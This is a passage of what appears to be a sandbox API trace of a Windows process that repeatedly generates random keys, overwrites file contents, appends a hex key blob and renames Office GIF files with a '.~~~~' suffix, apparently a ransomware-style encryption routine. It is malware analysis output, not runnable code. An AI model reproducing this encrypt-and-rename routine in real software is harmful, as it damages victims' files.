	[0129.567] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.567] CloseHandle (hObject=0x11c) returned 1
	[0129.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd708
	[0129.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif.~~~~")) returned 1
	[0129.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.569] GetLastError () returned 0x0
	[0129.570] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.571] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.571] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.571] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24956120196) returned 1
	[0129.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6acbd30, dwHighDateTime=0x1d60e1e)) 
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa820
	[0129.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa820 | out: hHeap=0x300000) returned 1
	[0129.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b13b8
	[0129.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.572] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.572] GetLastError () returned 0x0
	[0129.572] GetLastError () returned 0x0
	[0129.572] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.572] GetLastError () returned 0x0
	[0129.572] GetLastError () returned 0x0
	[0129.574] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff682, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.574] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x97e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x97e, lpOverlapped=0x0) returned 1
	[0129.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.576] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.576] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.576] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.576] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.576] CloseHandle (hObject=0x11c) returned 1
	[0129.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd708
	[0129.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif.~~~~")) returned 1
	[0129.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.578] GetLastError () returned 0x0
	[0129.579] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.580] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.580] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24957000833) returned 1
	[0129.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6acbd30, dwHighDateTime=0x1d60e1e)) 
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822370
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822370 | out: hHeap=0x300000) returned 1
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b14e8
	[0129.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.581] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.581] GetLastError () returned 0x0
	[0129.581] GetLastError () returned 0x0
	[0129.581] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.581] GetLastError () returned 0x0
	[0129.581] GetLastError () returned 0x0
	[0129.582] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.583] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x124, lpOverlapped=0x0) returned 1
	[0129.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.584] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.584] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.584] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.584] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.585] CloseHandle (hObject=0x11c) returned 1
	[0129.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd708
	[0129.585] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif.~~~~")) returned 1
	[0129.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.586] GetLastError () returned 0x0
	[0129.587] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.588] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.588] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.588] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24957813427) returned 1
	[0129.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6af1e90, dwHighDateTime=0x1d60e1e)) 
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28223a8
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28223a8 | out: hHeap=0x300000) returned 1
	[0129.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0129.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.589] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.589] GetLastError () returned 0x0
	[0129.589] GetLastError () returned 0x0
	[0129.589] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.589] GetLastError () returned 0x0
	[0129.589] GetLastError () returned 0x0
	[0129.591] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffecc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.591] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x134, lpOverlapped=0x0) returned 1
	[0129.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.592] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.592] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.593] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.593] CloseHandle (hObject=0x11c) returned 1
	[0129.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd708
	[0129.593] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif.~~~~")) returned 1
	[0129.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.595] GetLastError () returned 0x0
	[0129.595] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.596] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.596] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24958662937) returned 1
	[0129.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6af1e90, dwHighDateTime=0x1d60e1e)) 
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28223e0
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28223e0 | out: hHeap=0x300000) returned 1
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1450
	[0129.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.739] GetLastError () returned 0x0
	[0129.739] GetLastError () returned 0x0
	[0129.739] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.739] GetLastError () returned 0x0
	[0129.739] GetLastError () returned 0x0
	[0129.741] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffb69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.741] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x497, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x497, lpOverlapped=0x0) returned 1
	[0129.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.743] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.743] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.743] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.743] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.743] CloseHandle (hObject=0x11c) returned 1
	[0129.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.744] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif.~~~~")) returned 1
	[0129.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.790] GetLastError () returned 0x0
	[0129.854] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.855] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.855] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.856] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24984596801) returned 1
	[0129.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6d795f0, dwHighDateTime=0x1d60e1e)) 
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a28490
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a28490 | out: hHeap=0x300000) returned 1
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1858
	[0129.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.857] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.857] GetLastError () returned 0x0
	[0129.857] GetLastError () returned 0x0
	[0129.857] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.857] GetLastError () returned 0x0
	[0129.857] GetLastError () returned 0x0
	[0129.860] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.861] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x17d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x17d, lpOverlapped=0x0) returned 1
	[0129.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.864] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.864] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
